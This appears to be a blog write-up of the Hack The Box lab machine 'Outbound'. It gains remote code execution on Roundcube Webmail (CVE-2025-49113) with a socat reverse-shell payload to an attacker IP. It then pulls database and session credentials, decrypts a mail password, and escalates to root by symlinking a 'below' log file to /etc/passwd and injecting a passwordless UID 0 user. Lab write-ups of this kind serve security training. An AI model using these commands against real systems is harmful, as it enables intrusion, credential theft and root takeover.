Post

Outbound

Posted
By Muhammad Taha Khan
9 min read
Outbound

Box Credentials

tyler / LhKL1o9Nm3X2

Recon

Port Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

└─$ sudo nmap -PN -sC -sV -oN outbound 10.10.11.77
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-13 02:35 PKT
Nmap scan report for 10.10.11.77
Host is up (0.29s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.00 seconds

http://outbound.htb redirects to mail.outbound.htb add to /etc/hosts.

The website is based on Roundcube Webmail. The credentials work for the website.

CVE-2025-49113 Post-Auth RCE on Roundcube Webmail.

Exploit

Exploit

1
2
3
4
5
6
7
8

php CVE-2025-49113.php http://mail.outbound.htb/ tyler LhKL1o9Nm3X2 "bash -c 'socat TCP:10.10.16.16:1234 EXEC:'sh',pty,stderr,setsid,sigint,sane'"

[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10610
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...

Metasploit

OR Use metasploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

msf6 > search roundcube

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank       Check  Description
   -  ----                                                  ---------------  ----       -----  -----------
   0  auxiliary/gather/roundcube_auth_file_read             2017-11-09       normal     No     Roundcube TimeZone Authenticated File Disclosure
   1  exploit/multi/http/roundcube_auth_rce_cve_2025_49113  2025-06-02       excellent  Yes    Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization
   2    \_ target: Linux Dropper                            .                .          .      .
   3    \_ target: Linux Command                            .                .          .      .


Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/http/roundcube_auth_rce_cve_2025_49113
After interacting with a module you can manually set a TARGET with set TARGET 'Linux Command'

msf6 > use exploit/multi/http/roundcube_auth_rce_cve_2025_49113

Foothold

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

www-data@mail:/$ ls -la
ls -la
total 84
drwxr-xr-x   1 root root 4096 Jul  9 12:41 .
drwxr-xr-x   1 root root 4096 Jul  9 12:41 ..
-rwxr-xr-x   1 root root    0 Jun  8 12:26 .dockerenv
lrwxrwxrwx   1 root root    7 Apr 22  2024 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Mar 31  2024 bin.usr-is-merged
drwxr-xr-x   2 root root 4096 Apr 22  2024 boot
drwxr-xr-x   5 root root  340 Jul 12 21:26 dev
drwxr-xr-x   1 root root 4096 Jul  9 12:41 etc
drwxr-xr-x   1 root root 4096 Jun  8 12:05 home
lrwxrwxrwx   1 root root    7 Apr 22  2024 lib -> usr/lib
drwxr-xr-x   2 root root 4096 Nov 14  2024 lib.usr-is-merged
lrwxrwxrwx   1 root root    9 Apr 22  2024 lib64 -> usr/lib64
drwxr-xr-x   2 root root 4096 May 29 02:14 media
drwxr-xr-x   2 root root 4096 May 29 02:14 mnt
drwxr-xr-x   2 root root 4096 May 29 02:14 opt
dr-xr-xr-x 366 root root    0 Jul 12 21:26 proc
drwx------   1 root root 4096 Jun  8 15:39 root
drwxr-xr-x   1 root root 4096 Jun  6 18:55 run
lrwxrwxrwx   1 root root    8 Apr 22  2024 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 Mar 31  2024 sbin.usr-is-merged
drwxr-xr-x   2 root root 4096 May 29 02:14 srv
dr-xr-xr-x  13 root root    0 Jul 12 22:16 sys
drwxrwxrwt   1 root root 4096 Jul 12 22:18 tmp
drwxr-xr-x  12 root root 4096 May 29 02:14 usr
drwxr-xr-x   1 root root 4096 Jun  6 18:55 var


www-data@mail:/$ ls /home/
jacob  mel  tyler
www-data@mail:/$ su tyler
Password: 
tyler@mail:/$ ls /home/tyler/
linpeas.sh  mail

ss -tulnp
Netid State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
tcp   LISTEN 0      100        127.0.0.1:25        0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:143       0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:110       0.0.0.0:*          
tcp   LISTEN 0      511          0.0.0.0:80        0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:993       0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:995       0.0.0.0:*          
tcp   LISTEN 0      80         127.0.0.1:3306      0.0.0.0:*          
tcp   LISTEN 0      100             [::]:143          [::]:*          
tcp   LISTEN 0      100            [::1]:25           [::]:*          
tcp   LISTEN 0      100             [::]:110          [::]:*          
tcp   LISTEN 0      100             [::]:993          [::]:*          
tcp   LISTEN 0      100             [::]:995          [::]:*

MySQL is running, but tyler has no access.

Roundcube Directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

drwxr-xr-x  1 www-data www-data   4096 Jul 12 22:09 .
drwxr-xr-x  1 root     root       4096 Jun  6 18:55 ..
-rw-r--r--  1 www-data www-data   2553 Feb  8 08:47 .htaccess
-rw-r--r--  1 www-data www-data 216244 Feb  8 08:47 CHANGELOG.md
-rw-r--r--  1 www-data www-data  12714 Feb  8 08:47 INSTALL
-rw-r--r--  1 www-data www-data  35147 Feb  8 08:47 LICENSE
-rw-r--r--  1 www-data www-data   3853 Feb  8 08:47 README.md
-rw-r--r--  1 www-data www-data   1049 Feb  8 08:47 SECURITY.md
drwxr-xr-x  1 www-data www-data   4096 Jul 12 22:30 SQL
-rw-r--r--  1 www-data www-data   4657 Feb  8 08:47 UPGRADING
drwxr-xr-x  2 www-data www-data   4096 Feb  8 08:47 bin
-rw-r--r--  1 www-data www-data   1086 Feb  8 08:47 composer.json
-rw-r--r--  1 www-data www-data  56802 Feb  8 08:47 composer.lock
drwxr-xr-x  2 www-data www-data   4096 Jun  6 18:55 config
-rw-r--r--  1 www-data www-data  11200 Feb  8 08:47 index.php
drwxr-xr-x  1 www-data www-data   4096 Jun 11 07:46 logs
drwxr-xr-x 37 www-data www-data   4096 Feb  8 08:47 plugins
drwxr-xr-x  8 www-data www-data   4096 Feb  8 08:47 program
drwxr-xr-x  1 www-data www-data   4096 Jul 12 22:09 public_html
drwxr-xr-x  3 www-data www-data   4096 Feb  8 08:47 skins
drwxr-xr-x  1 www-data www-data   4096 Jul 12 22:28 temp
drwxr-xr-x 14 www-data www-data   4096 Feb  8 08:47 vendor
pwd
/var/www/html/roundcube

config files are usually always the best.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

cd config
ls -la
total 92
drwxr-xr-x 2 www-data www-data  4096 Jun  6 18:55 .
drwxr-xr-x 1 www-data www-data  4096 Jul 12 22:09 ..
-rw-r--r-- 1 www-data www-data   164 Feb  8 08:47 .htaccess
-rw-r--r-- 1 root     root      3024 Jun  6 18:55 config.inc.php
-rw-r--r-- 1 www-data www-data  2943 Feb  8 08:47 config.inc.php.sample
-rw-r--r-- 1 www-data www-data 65000 Feb  8 08:47 defaults.inc.php
-rw-r--r-- 1 www-data www-data  2806 Feb  8 08:47 mimetypes.php
cat config.inc.php

$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';

// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

MySQL as roundcube

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

mysql -u roundcube -p             
Enter password: RCDBPass2025

Database
information_schema
roundcube
--------------

17 rows in set (0.000 sec)

Database changed
MariaDB [roundcube]> show tables;
show tables;
+---------------------+
| Tables_in_roundcube |
+---------------------+
| cache               |
| cache_index         |
| cache_messages      |
| cache_shared        |
| cache_thread        |
| collected_addresses |
| contactgroupmembers |
| contactgroups       |
| contacts            |
| dictionary          |
| filestore           |
| identities          |
| responses           |
| searches            |
| session             |
| system              |
| users               |
+---------------------+
17 rows in set (0.000 sec)

SELECT * FROM session;

We have jacob’s session.

1
2
3

bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7

base64 -d jacob_b64.txt > jacob_hash.txt

Also in the roundcube directory you can find decrypt.sh under /bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

$ cd bin
cd bin
$ ls -la
ls -la
total 100
drwxr-xr-x 2 www-data www-data  4096 Feb  8 08:47 .
drwxr-xr-x 1 www-data www-data  4096 Jul 12 22:09 ..
-rwxr-xr-x 1 www-data www-data  1329 Feb  8 08:47 cleandb.sh
-rwxr-xr-x 1 www-data www-data   947 Feb  8 08:47 cssshrink.sh
-rwxr-xr-x 1 www-data www-data  2730 Feb  8 08:47 decrypt.sh
-rwxr-xr-x 1 www-data www-data  4740 Feb  8 08:47 deluser.sh
-rwxr-xr-x 1 www-data www-data  1658 Feb  8 08:47 gc.sh
-rwxr-xr-x 1 www-data www-data  1335 Feb  8 08:47 indexcontacts.sh
-rwxr-xr-x 1 www-data www-data  1964 Feb  8 08:47 initdb.sh
-rwxr-xr-x 1 www-data www-data  6434 Feb  8 08:47 installto.sh
-rwxr-xr-x 1 www-data www-data  1233 Feb  8 08:47 jsshrink.sh
-rwxr-xr-x 1 www-data www-data   529 Feb  8 08:47 makedoc.sh
-rwxr-xr-x 1 www-data www-data  2437 Feb  8 08:47 moduserprefs.sh
-rwxr-xr-x 1 www-data www-data  4444 Feb  8 08:47 msgexport.sh
-rwxr-xr-x 1 www-data www-data  3763 Feb  8 08:47 msgimport.sh
-rwxr-xr-x 1 www-data www-data 13026 Feb  8 08:47 update.sh
-rwxr-xr-x 1 www-data www-data  3709 Feb  8 08:47 updatecss.sh
-rwxr-xr-x 1 www-data www-data  1755 Feb  8 08:47 updatedb.sh

./decrypt.sh "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"

jacob:595mO8DmwGeD

Let’s access mail.outbound.htb as jacob:

1
2
3
4
5
6
7
8
9

Due to the recent change of policies your password has been changed.

Please use the following credentials to log into your account: gY4Wr3a1evp4

Remember to change your password when you next log into your account.

Thanks!

Tyler

jacob:gY4Wr3a1evp4

We can SSH with this password.

Privilege Escalation

1
2
3
4
5

Matching Defaults entries for jacob on outbound:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*

Let’s see all possible things we could do:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

jacob@outbound:~$ sudo below -h
Usage: below [OPTIONS] [COMMAND]

Commands:
  live      Display live system data (interactive) (default)
  record    Record local system data (daemon mode)
  replay    Replay historical data (interactive)
  debug     Debugging facilities (for development use)
  dump      Dump historical data into parseable text format
  snapshot  Create a historical snapshot file for a given time range
  help      Print this message or the help of the given subcommand(s)

Options:
      --config <CONFIG>  [default: /etc/below/below.conf]
  -d, --debug            
  -h, --help             Print help

Somehow record could be used to get system data?

Below Vulnerability

The exploit:

  • Waits for (or triggers) the below.service to run as root.
  • Replaces the log file with a symlink to /etc/passwd.
  • Injects a malicious root user (UID 0) into /etc/passwd.
  • Uses su or login to switch to that user.

The vulnerability allows local unprivileged users to escalate their privileges to root through symlink attacks. An attacker can manipulate files such as /etc/shadow by exploiting the world-writable permissions.

Run as whole:

1
2
3
4
5
6

sudo below record
echo '0::0:0:0:/root:/bin/bash' > /tmp/0
rm /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
cp /tmp/0 /var/log/below/error_root.log
su 0
Boxes
HTB Box Linux Easy
This post is licensed under CC BY 4.0 by the author.